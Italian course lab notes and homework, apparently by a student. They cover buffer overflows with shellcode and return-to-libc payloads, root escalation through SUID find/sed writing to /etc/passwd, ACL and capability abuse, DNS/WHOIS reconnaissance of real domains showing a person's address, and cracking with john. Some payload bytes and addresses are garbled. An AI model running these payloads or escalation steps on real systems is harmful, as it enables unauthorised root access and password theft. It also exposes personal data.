

1 Laboratorio

1.1 Binary Exploit

- Comandi di gdb:
 - `b *FUNCTION` aggiunge un breakpoint all'inizio della funzione specificata
 - `run ARGUMENT` lancia il programma passando ARGUMENT come parametro
 - se vogliamo stampare i 200 byte successivi a un determinato registro diamo il comando `x/200xw $REGISTRO`, ad esempio `x/200xw $esp`
 - `disas FUNCTION` stampa il codice assembly risultante dalla traduzione del codice di una determinata funzione, es. `disas main`
 - `info functions` stampa gli indirizzi di tutte le funzioni caricate in memoria dal processo, tra le quali si trovano anche tutte le funzioni di librerie utilizzate dal processo
 - `info register` stampa lo stato attuale dei registri, cioè gli indirizzi che essi contengono

1.1.1 Esercizio write_var

- Utilizziamo perl per scrivere esattamente il numero di caratteri che vogliamo come argomento del programma con

```
./es $(perl -e 'print "A"x100')
```

- con

```
./es $(perl -e 'print "A"x100,"string"')
```

concateniamo le due stringhe

- Con questo comando lanciamo il programma e gli diamo come argomento una stringa formata da 100 volte il carattere "A"
- Se inseriamo una stringa di 104 "A"

```
./es $(perl -e 'print "A"x104')
```

l'output risulta differente, infatti la variabile `control` nell'altro caso valeva 3039, ora invece 3000

- Se inseriamo una stringa di 108 "A" la variabile `control` diventa 41414141, dove 41 è la lettera "A" rappresentata in codice esadecimale secondo ASCII
- Ora sappiamo che dobbiamo inserire una stringa di 108 caratteri per sovrascrivere completamente la variabile `control`

- Siccome è l'output stesso che ci dice `control must be: 0x42434445`, proviamo allora a scrivere dentro `control` questa serie di caratteri
- Siccome sono quattro caratteri, dobbiamo inserire prima 104 caratteri arbitrari, e dopo i quattro caratteri che vogliamo, ricordando però che l'architettura è Little Endian, quindi dobbiamo scrivere "al contrario", in questo modo:

```
./es $(perl -e 'print "A"x104,"\x45\x44\x43\x42"')
```

- E l'output infatti conferma che quella è la flag giusta

1.1.2 Esercizio `secret_function`

- Come prima (ma usando `gdb` con il comando `gdb es`), proviamo a fare un buffer overflow
- Quindi diamo il comando `run $(perl -e 'print "A"x20')`
- Con 20 caratteri il programma va già in segmentation fault
- Facendo dei tentativi vediamo che vengono scritti nell'indirizzo di ritorno i 4 caratteri dopo il 16esimo
- Ad esempio, se lanciamo

```
run $(perl -e 'print "A"x16,"BBBB"')
```

- Vediamo dall'output che l'indirizzo di ritorno è stato sovrascritto, e adesso è `0x42424242`, cioè "BBBB" in esadecimale
- Ora dobbiamo scrivere al posto dell'indirizzo di ritorno l'indirizzo della funzione vulnerabile, cioè la funzione `secret`
- Con `info function` vediamo l'indirizzo della funzione `secret`, in questo caso è `0x565561b9`
- Quindi lanciamo

```
run $(perl -e 'print "A"x16,"\xb9\x61\x55\x56"')
```

1.1.3 Shellcode

- In questo caso, utilizzando il buffer overflow vediamo che i 4 byte dopo il 112 vengono sovrascritti nell'indirizzo di ritorno
- In questo esercizio lo shellcode è già dato (si trova nel file `shellcode.txt`)
- Se vogliamo controllare la lunghezza dello shellcode diamo

```
python3
```

```
>>> len(b'\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68')
```

la b sta per *binary*

- Siccome la lunghezza del nostro shellcode è 46, e il buffer è di 112, riempiamo il payload di 66 caratteri NOP \x90 all'inizio
- Ora dobbiamo capire che indirizzo di ritorno inserire nel payload; per farlo guardiamo il nostro stack con

```
(gdb) x/300xw $esp
```

e troviamo l'indirizzo in cui il nostro shellcode inizia, sfruttando il fatto che la parte di stack in cui è contenuto il codice del nostro shellcode è preceduta da 66 caratteri NOP (nel mio caso l'indirizzo è fffffd210)

```
0xffffd100: 0x00210500 0x21090c01 0x5102010c 0x72057805
0xffffd1c0: 0x65736963 0x68732f73 0x636c6c65 0x2f65646f
0xffffd1d0: 0x90007365 0x90909090 0x90909090 0x90909090
0xffffd1e0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd1f0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd200: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd210: 0x90909090 0xb0c03190 0x31db3146 0xeb80cdc9
0xffffd220: 0xc0315b16 0x89074388 0x4389085b 0x8d0bb00c
0xffffd230: 0x538d084b 0xe880cd0c 0xffffffff 0x6e69622f
0xffffd240: 0x4268732f 0x00424242 0x4f4c4f43 0x42474652
--Type <RET> for more, q to quit, c to continue without paging--
0xffffd250: 0x35313d47 0x4300303b 0x524f4c4f 0x4d524554
0xffffd260: 0x7572743d 0x6c6f6365 0x4300726f 0x414d4d4f
0xffffd270: 0x4e5f444e 0x465f544f 0x444e554f 0x534e495f
```

- Il comando da lanciare sarà quindi

```
run $(perl -e 'print
"\x90"x66,"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16
\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d
\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69
\x6e\x2f\x73\x68","\x10\xd2\xff\xff"')
```

- Verifichiamo che adesso si è aperta una shell, ma per avere accesso a una shell di root non possiamo lanciare il processo da gdb ma lanciare il binario con il path assoluto

```
/home/kali/lab_exercises/shellcode/es $(perl -e 'print
"\x90"x66,"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16
\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d
\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69
\x6e\x2f\x73\x68","\x10\xd2\xff\xff"')
```

1.1.4 ReturnTollibc

- In questo caso l'overflow viene scatenato come nell'esercizio precedente, quindi lanciamo il comando

```
(gdb) run $(perl -e 'print "A"x112,"BBBB"')
```

e notiamo che l'indirizzo di ritorno ora è 0x42424242

- Aggiungiamo un breakpoint nel main con

```
(gdb) b *main
```

e lanciamo nuovamente run come prima

- Per prima cosa dobbiamo trovare l'indirizzo della system, quindi scriviamo

`p system`

l'indirizzo nel mio caso è 0xf7c4c830

- Troviamo indirizzo di exit con

`p exit`

l'indirizzo è 0xf7c3c130

- Troviamo indirizzo della variabile shell dando il comando

`(gdb) x/500s $esp`

in questo modo stampiamo gli ultimi 500 caratteri del registro esp in formato "leggibile"; scorriamo (dando invio) fino a trovare l'indirizzo della variabile SHELL

```
0xffffd46d: "QT_AUTO_SCREEN_SCALE_FACTOR=0"
0xffffd48b: "QT_QPA_PLATFORMTHEME=qt5ct"
0xffffd4a6: "SESSION_MANAGER=local/kali:@/tmp/.ICE-unix/1043,unix/kali:/tmp/.ICE-unix/1043"
0xffffd4f4: "SHELL=/usr/bin/zsh"
0xffffd507: "SSH_AGENT_PID=1135"
0xffffd51a: "SSH_AUTH_SOCK=/tmp/ssh-D6oUd8V1MyL5/agent.1043"
0xffffd549: "TERM=xterm-256color"
0xffffd55d: "USER=kali"
0xffffd567: "WINDOWID=0"
0xffffd572: "XAUTHORITY=/home/kali/.Xauthority"
0xffffd594: "XDG_CONFIG_DIRS=/etc/xdg"
```

Siccome a noi serve solo il path della shell, cioè la stringa puntata senza "SHELL=" dobbiamo aggiungere 6 byte all'indirizzo evidenziato (usiamo una semplice hexcalc online)

`ffffd4f4 + 6 = fffffd4fA`

- Il comando risultante sarà

```
run $(perl -e 'print
"A"x112,"\x30\xc8\xc4\xf7","\x30\xc1\xc3\xf7","\xfA\xd4\xff\xff"')
```

Provare gli esercizi di prima compilando senza flag `-z execnostack`

2 Base64

- Per il trasferimento di file con HTTP si usa la codifica Base64
- La sequenza di byte viene divisa in unità di 6 bit ciascuna, quindi possiamo avere 64 combinazioni diverse di 0 e 1
- I caratteri possibilmente codificabili sono i cosiddetti caratteri facilmente stampabili, cioè : a-z A-Z 0-9 ./, che sono esattamente 64 caratteri
- Quindi ogni file viene trasferito come una sequenza di caratteri, perché, limitando i caratteri a quelli specificati, siamo sicuri che non vengano trasferiti caratteri speciali
- Ogni carattere viene poi tradotto in ASCII, quindi per ogni 6 bit ne vengono trasferiti 8, perché i caratteri in ASCII sono di 8 bit

3 Compiti

3.1 Privilege escalation alternative

3.1.1 Usare find con SUID settato

- Si setta il SUID di find (da root) con

```
sudo chmod u+s /usr/bin/find
```

- Da utente user_test copiamo il /etc/passwd da qualche parte, ad esempio su /tmp

```
cat /etc/passwd > /tmp/passwd
```

- Dopo di che aggiungiamo una nuova entry al file passwd utilizzando openssl

```
openssl passwd -1 -salt seclab seclab > new_entry
```

- Modifichiamo l'entry in modo tale che sia un formato compatibile con il file /etc/passwd

```
seclab:CONTENUTO_DI_NEW_ENTRY:0:0:/root:/bin/bash
```

- quindi si inserisce seclab: all'inizio del contenuto della entry
- si appende :0:0:/root:/bin/bash al contenuto della entry

- Aggiungiamo la entry al nostro file temporaneo

```
cat new_entry >> /tmp/passwd
```

- A questo punto possiamo sovrascrivere il file /etc/passwd con il nostro file con l'entry aggiuntiva, sfruttando il fatto che il comando find ha un'opzione per lanciare un comando (binario) con -exec; in particolare dopo -exec ci va il comando da eseguire, le parentesi vengono sostituite con l'output di find, per terminare la stringa del comando da eseguire si inserisce \; come delimitatore

```
cd /tmp/
```

```
find passwd -exec cp {} /etc/passwd \;
```

- Ora possiamo loggarci come utente seclab (password seclab) che è un utente con privilegi di root

```
su seclab
```

```
password: seclab
```

```
whoami
```

3.1.2 Usare sed con SUID settato

- Creiamo una nuova entry per il file /etc/passwd utilizzando openssl

```
openssl passwd -1 -salt seclab seclab > new_entry
```

- Modifichiamo l'entry in modo tale che sia un formato compatibile con il file /etc/passwd

```
seclab:CONTENUTO_DI_NEW_ENTRY:0:0:/root:/bin/bash
```

- ▶ quindi si inserisce seclab: all'inizio del contenuto della entry
- ▶ si appende :0:0:/root:/bin/bash al contenuto della entry
- Ora basta invocare il comando sed in questo modo

```
sed -i '/bash/a seclab:$1$seclab$QrDuIZTyY9sYfXg33VIw1:0:0:/root:/bin/bash' /etc/passwd
```

- ▶ sed di base stampa su stdout, con la flag -i modifichiamo direttamente il file specificato
- ▶ il nostro comando, così scritto, scrive dopo ogni occorrenza della stringa bash, inserita tra / e /a, in una nuova riga la nostra entry che abbiamo creato con openssl
 - si è scelto la stringa bash perché era l'ultima del file /etc/passwd, al suo posto si può scegliere qualsiasi stringa che terima una riga del file

3.1.3 ACL

- Per poter trovare sul file system file con ACL impostate in modo potenzialmente dannoso si può dare il comando

```
getfacl -aR /
```

che ci restituisce la lista dei file con le impostazioni ACL, la flag -R indica di fare una ricerca ricorsiva, quindi possiamo iniziare dalla radice come possiamo iniziare dalla cartella /etc, per magari controllare se qualche utente abbia un accesso particolare al file /etc/passwd

- Quindi, ad esempio, possiamo eseguire un comando del tipo

```
getfacl -aR / | grep group:NOMEGRUPPO: rwx
```

che ci restituisce tutti i file per cui tutti gli utenti che fanno parte di NOMEGRUPPO hanno diritto di lettura, scrittura ed esecuzione del file

- Se per caso il file etc/passwd si trova tra questi file possiamo tranquillamente modificarlo, inserendo una entry generata da openssl come fatto precedentemente

3.1.3.1 Testo del professore

- Es. leggibilità e sostituibilità degli hash

```
setfacl -m u:kali:rw /etc/shadow
```

- Es. modificabilità del codice binario di un eseguibile privilegiato

```
setfacl -m u:kali:w /usr/bin/sudo
```

- Notate che alcuni comandi si lamentano se file critici hanno permessi eccessivi, ma non sempre notano le ACL
- Es. ricordando che potete diventare root con “su -” e password che avete scelto,

- Provate da root a rendere modificabile da chiunque il file `/etc/sudoers` con

```
chmod 666 /etc/sudoers
```

e verificate che da utente `kali`, `sudo` non funziona più ripristinando i permessi, e settando una ACL che consenta comunque all'utente `sec` di modificare a piacimento `sudoers`

```
chmod 440 /etc/sudoers
setfacl -m u:kali:rw /etc/sudoers
```

verificate che `sudo` funziona

- Per individuare sul sistema file con ACL impostate, si può utilizzare

```
getfacl -sR /
```

3.1.4 Capabilities

- Con le capabilities “giuste” è semplicissimo eseguire una privilege escalation
- Ad esempio, se diamo al comando `nano` la capability `CAP_DAC_OVERRIDE`, che permette di bypassare i controlli sui permessi di lettura, scrittura ed esecuzione dei file

```
sudo setcap CAP_DAC_OVERRIDE=ep /usr/bin/nano
```

qualunque utente che lo esegue potrà tranquillamente andare a modificare il file `/etc/passwd`

- Quindi, seguendo la classica procedura che utilizza `openssl` per creare una nuova entry per il file, possiamo ottenere i permessi di root

3.1.4.1 Testo del professore

- Le capabilities sono un po' più nascoste dei classici permessi sui file, perché questi ultimi possono essere controllati con un classico `ls`
- Es. eseguibile che ignora la coerenza di ownership tra processo e file

```
sudo setcap CAP_FOWNER=eip /bin/chmod
```

- Es. eseguibile che ignora completamente i permessi

```
sudo setcap CAP_DAC_OVERRIDE=eip /usr/bin/vim.basic
```

- Notate che da `vim.basic` si può eseguire qualunque comando shell digitando `!:COMANDO`
- ma se provate a eseguire ad esempio `!:cat /etc/shadow` non funziona.... questo è merito di `bash` che “droppa” le capabilities (ma comunque potete aprire direttamente `/etc/shadow` dall'editor!)
- Per trovare file con capabilities settate, usate

```
getcap -r /
```

3.2 OSINT in rete

3.2.1 ulis.se

- Con un banale ping `ulis.se` vediamo che l'indirizzo del sito è `130.136.9.27`
- Per elencare i subdomain possiamo lanciare il comando `dnsmap ulis.se`, che ci restituisce

`dnsmap 0.36 - DNS Network Mapper`

```
[+] searching (sub)domains for ulis.se using built-in wordlist
```

```
[+] using maximum random delay of 10 millisecond(s) between requests
```

```
www.ulis.se
```

```
IP address #1: 130.136.9.27
```

```
[+] 1 (sub)domains and 1 IP address(es) found
```

```
[+] completion time: 39 second(s)
```

- `dnsenum --noreverse ulis.se` non ci dice molto di più

```
----- ulis.se -----
```

Host's addresses:

<code>ulis.se.</code>	<code>546</code>	<code>IN</code>	<code>A</code>
<code>130.136.9.27</code>			

Name Servers:

<code>ns19.domaincontrol.com.</code>	<code>18008</code>	<code>IN</code>	<code>A</code>
<code>97.74.109.10</code>			
<code>ns20.domaincontrol.com.</code>	<code>18008</code>	<code>IN</code>	<code>A</code>
<code>173.201.77.10</code>			

Mail (MX) Servers:

Trying Zone Transfers and getting Bind Versions:

Trying Zone Transfer for ulis.se on
ns19.domaincontrol.com ...
AXFR record query failed: Network is unreachable

Trying Zone Transfer for ulis.se on
ns20.domaincontrol.com ...
AXFR record query failed: Network is unreachable

Brute forcing with /usr/share/dnsenum/dns.txt: (DNS
Enumeration)

www.ulis.se.	2627	IN	CNAME
ulis.se.			
ulis.se.	479	IN	A
130.136.9.27			

ulis.se class C netranges:

130.136.9.0/24

ulis.se ip blocks:

130.136.9.27/32

3.2.2 wildb0ar.it

- Con nslookup scopriamo che il l'indirizzo ip associato al sito è 89.46.110.56
- Con dnsmap wildb0ar.it elenchiamo tutti i suoi sottodomini

dnsmap 0.36 - DNS Network Mapper

[+] searching (sub)domains for wildb0ar.it using built-in
wordlist

[+] using maximum random delay of 10 millisecond(s) between
requests

admin.wildb0ar.it

IP address #1: 62.149.188.221

ftp.wildb0ar.it

IP address #1: 89.46.104.211

imap.wilddb0ar.it

IP address #1: 62.149.128.42

IP address #2: 62.149.128.72

localhost.wilddb0ar.it

IP address #1: 127.0.0.1

[+] warning: domain might be vulnerable to "same site" scripting (<https://seclists.org/bugtraq/2008/Jan/270>)

mail.wilddb0ar.it

IP address #1: 62.149.128.72

IP address #2: 62.149.128.157

IP address #3: 62.149.128.160

IP address #4: 62.149.128.163

IP address #5: 62.149.128.166

IP address #6: 62.149.128.151

IP address #7: 62.149.128.154

IP address #8: 62.149.128.74

mx.wilddb0ar.it

IP address #1: 62.149.128.160

IP address #2: 62.149.128.151

IP address #3: 62.149.128.154

IP address #4: 62.149.128.74

IP address #5: 62.149.128.157

IP address #6: 62.149.128.163

IP address #7: 62.149.128.72

IP address #8: 62.149.128.166

pop3.wilddb0ar.it

IP address #1: 62.149.128.164

IP address #2: 62.149.128.152

IP address #3: 62.149.128.75

IP address #4: 62.149.128.155

IP address #5: 62.149.128.161

IP address #6: 62.149.128.73

IP address #7: 62.149.128.158

IP address #8: 62.149.128.167

sms.wilddb0ar.it

IP address #1: 46.234.228.97

smtp.wilddb0ar.it

IP address #1: 62.149.128.202

IP address #2: 62.149.128.200

IP address #3: 62.149.128.203

IP address #4: 62.149.128.201

webmail.wilddb0ar.it

IP address #1: 62.149.158.91

IP address #2: 62.149.158.92

www.wilddb0ar.it

IP address #1: 89.46.110.56

- Con dnssenum --noreverse wilddb0ar.it

YHost's addresses:

wilddb0ar.it.	3600	IN	A
89.46.110.56			

Name Servers:

dns3.arubadns.net.	1673	IN	A
95.110.220.5			
dns2.technorail.com.	79	IN	A
95.110.136.8			
dns4.arubadns.cz.	1673	IN	A
81.2.216.125			
dns.technorail.com.	79	IN	A
94.177.210.13			

Mail (MX) Servers:

mx.wilddb0ar.it.	3600	IN	A
62.149.128.151			
mx.wilddb0ar.it.	3600	IN	A
62.149.128.166			
mx.wilddb0ar.it.	3600	IN	A
62.149.128.160			
mx.wilddb0ar.it.	3600	IN	A
62.149.128.157			
mx.wilddb0ar.it.	3600	IN	A
62.149.128.72			
mx.wilddb0ar.it.	3600	IN	A
62.149.128.74			
mx.wilddb0ar.it.	3600	IN	A
62.149.128.154			
mx.wilddb0ar.it.	3600	IN	A
62.149.128.163			

DNS Enumeration:

admin.wilddb0ar.it.	1224	IN	CNAME
admin.redirect.aruba.it.			
admin.redirect.aruba.it.	600	IN	A
62.149.188.221			
ftp.wilddb0ar.it.	1213	IN	A
89.46.104.211			
mail.wilddb0ar.it.	1211	IN	A
62.149.128.74			
mail.wilddb0ar.it.	1211	IN	A
62.149.128.72			
mail.wilddb0ar.it.	1211	IN	A
62.149.128.154			
mail.wilddb0ar.it.	1211	IN	A
62.149.128.151			
mail.wilddb0ar.it.	1211	IN	A
62.149.128.163			
mail.wilddb0ar.it.	1211	IN	A
62.149.128.157			
mail.wilddb0ar.it.	1211	IN	A
62.149.128.166			
mail.wilddb0ar.it.	1211	IN	A
62.149.128.160			
mx.wilddb0ar.it.	3543	IN	A
62.149.128.72			
mx.wilddb0ar.it.	3543	IN	A
62.149.128.74			
mx.wilddb0ar.it.	3543	IN	A
62.149.128.154			
mx.wilddb0ar.it.	3543	IN	A
62.149.128.163			
mx.wilddb0ar.it.	3543	IN	A
62.149.128.151			
mx.wilddb0ar.it.	3543	IN	A
62.149.128.166			
mx.wilddb0ar.it.	3543	IN	A
62.149.128.160			
mx.wilddb0ar.it.	3543	IN	A
62.149.128.157			
smtp.wilddb0ar.it.	1200	IN	A
62.149.128.203			
smtp.wilddb0ar.it.	1200	IN	A
62.149.128.201			
smtp.wilddb0ar.it.	1200	IN	A
62.149.128.202			

smtp.wilddb0ar.it.	1200	IN	A
62.149.128.200			
webmail.wilddb0ar.it.	1197	IN	A
62.149.158.91			
webmail.wilddb0ar.it.	1197	IN	A
62.149.158.92			
www.wilddb0ar.it.	1192	IN	A
89.46.110.56			

wilddb0ar.it class C netragnes:

62.149.128.0/24
 62.149.158.0/24
 89.46.104.0/24
 89.46.110.0/24

- Per scoprire altro possiamo consultare <https://centralops.net> , inserendo l'indirizzo del nostro sito. Vediamo che il sito ci mostra dei dati relativi a chi ha registrato il dominio, la sua data di scadenza, chi è l'host del sito, etc...

Domain:	wilddb0ar.it
Status:	ok
Signed:	no
Created:	2020-05-11 12:26:07
Last Update:	2023-05-27 00:54:06
Expire Date:	2024-05-11

Registrant

Organization:	Andrea Melis
Address:	Via Filippo Beroaldo, 35 Bologna 40127 BO IT
Created:	2020-05-11 12:26:06
Last Update:	2020-05-11 12:26:06

Admin Contact

Name:	Andrea Melis
Organization:	Andrea Melis
Address:	Via Filippo Beroaldo, 35 Bologna 40127 BO IT
Created:	2020-05-11 12:26:06
Last Update:	2020-05-11 12:26:06

Technical Contacts

Name: Andrea Melis
Organization: Andrea Melis
Address: Via Filippo Beroaldo, 35
Bologna
40127
BO
IT
Created: 2020-05-11 12:26:06
Last Update: 2020-05-11 12:26:06

Registrar

Organization: Aruba s.p.a.
Name: ARUBA-REG
Web: <http://www.aruba.it>
DNSSEC: yes

Nameservers

dns.technorail.com
dns2.technorail.com
dns3.arubadns.net
dns4.arubadns.cz

3.3 Password Recovery

- Creiamo una wordlist usando `cewl`

```
cewl https://ulis.se/ -w ulisse_wordlist.txt
```

- Usiamo `rar2john` per convertire il file rar da crackare in un file hash
- Lanciamo `john` con

```
john --wordlist=ulisse_wordlist.txt crack_esercitazione.hash
```

- La password risulta essere `cyberchallenge`

3.4 Cracking e bruteforcing

3.4.1 Dati i seguenti account recuperare le rispettive passwords

- Lanciamo il comando

```
unshadow /etc/passwd /etc/shadow > brute.txt
```

- Per l'utente `tulipano`, provando a lanciare `john --wordlist=dutch_wordlist brute.txt` non riesce a crackare nulla, ma una riga dell'output ci dice

```
Warning: only loading hashes of type "md5crypt", but also saw  
type "sha512crypt"
```

```
Use the "--format=sha512crypt" option to force loading hashes  
of that type instead
```

```
john --wordlist=dutch_wordlist --format=sha512crypt brute.txt
```

riusciamo a scoprire la password, che è betonijzervlechter4

3.4.2 Scoprire hash

•

3.4.3 Cracking es.zip

- Dare il comando

```
zip2john es.zip > es_zip.txt
```

- lanciare john con

john es_zip.txt

- Scopriamo che la password è batman

3.5 Brute forcing e buffer overflow

3.5.1 Write var

Consegnare un file report.pdf che contenga:

- Payload e screenshot che dimostra la capacità di sovrascrivere la variabile
- Payload e screenshot dell'exploit finale lanciato
- Spiegazione dettagliata di come si è proceduto ad analizzare ed exploitare la vulnerabilità

Payload in gdb:

[illegible]

[illegible]

- ### 3.6 Secret function

- Payload e screenshot che dimostra la capacità di sovrascrivere l'indirizzo di ritorno
- Payload e screenshot dell'exploit finale lanciato
- Spiegazione dettagliata di come si è proceduto ad analizzare ed exploitare la vulnerabilità

```
(gdb) run $(perl -e 'print "A"x16,"BBBB"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/kali/Compiti/secret_function $(perl -e 'print "A"x16,"BBBB"')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
```

- Come prima proviamo a scatenare un segmentation fault

- Dopo pochi tentativi vediamo che per fare ciò basta dare come argomento al programma una stringa di 16 caratteri
- Per controllare che ciò che viene scritto dopo questa sequenza sovrascriva l'indirizzo di ritorno aggiungiamo alle 16 "A" la stringa "BBBB"; si nota che ora l'indirizzo di ritorno è 0x42424242, come ci si aspettava
- Con

(gdb) info function

vediamo che ci sono diverse funzioni segrete

```
0x565561c9 secret_function_rreal
0x565562fa secret_function_maybe
0x5655642b secret_function_maybe_flag
0x56556583 secret_function_super_rreal
0x565566b4 secret_function_not
0x56556809 secret_function_rr
```

- Per secret_function_rreal

```
run $(perl -e 'print "A"x16,"\xc9\x61\x55\x56"')
```

3.7 Shellcode

Eseguire l'esercizio in due modi:

- usando lo stesso shellcode utilizzato durante l'esercitazione in laboratorio
- usando lo shellcode

```
\xbf\x16\x6e\x8a\x7c\xdd\xc3\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x0c
\x31\x7a\x12\x03\x7a\x12\x83\xd4\x6a\x68\x89\xb2\x79\x34\xeb\x10
\x18\xac\x26\xf7\x6d\xcb\x51\xd8\x1e\x7c\xa2\x4e\xce\x1e\xcb\xe0
\x99\x3c\x59\x14\x90\xc2\x5e\xe4\xd6\xac\x3f\x89\x7d\x11\xed\x30
\x7e\x06\xbe\x3b\x9f\x65\xc0
```

consegnare un file report.pdf che contenga:

- Payload e screenshot che dimostra la capacità di sovrascrivere l'indirizzo di ritorno
- Payload e screenshot dell'exploit finale lanciato
- Spiegazione dettagliata di come si è proceduto ad analizzare ed exploitare la vulnerabilità
- Con il comando

```
(gdb) run $(perl -e 'print "A"x1512,"BBBB"')
```

riusciamo a sovrascrivere la stringa 0x42424242 come indirizzo di ritorno

- Siccome la lunghezza del nostro shellcode è 46, e il buffer è di 112, riempiamo il payload di 1466 caratteri NOP `\x90` all'inizio
- Ora devo controllare l'indirizzo di memoria in cui finisce la sequenza di caratteri NOP e dove inizierebbe lo shellcode
- Dando il comando

```
run $(perl -e 'print "\x90"x1512,"BBBB"')
```

e controllando cosa viene salvato negli indirizzi di memoria con il comando

```
(gdb) x/800xw $esp
```

si vede che la sequenza di NOP termina all'indirizzo `0xfffffd260`

- Quindi ora si dà il comando

```
(gdb) run $(perl -e 'print
"\x90"x1466,"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80xeb\x16
\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08
\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
,"\x60\xd2\xff\xff"')
```

3.8 Return to libc

Consegnare un file report.pdf che contenga:

- Payload e screenshot che dimostra la capacità di sovrascrivere l'indirizzo di ritorno
- Payload e screenshot dell'exploit finale lanciato
- Spiegazione dettagliata di come si è proceduto ad analizzare ed exploitare la vulnerabilità
- L'indirizzo della variabile SHELL è `0xfffffd517`, quindi per avere la stringa che contenga solo il path dobbiamo aggiungere 6 byte all'indirizzo, ottenendo `FFFFD51D`
- L'indirizzo di `system` `0xf7c4c830`
- L'indirizzo di `exit` è `0xf7c3c130`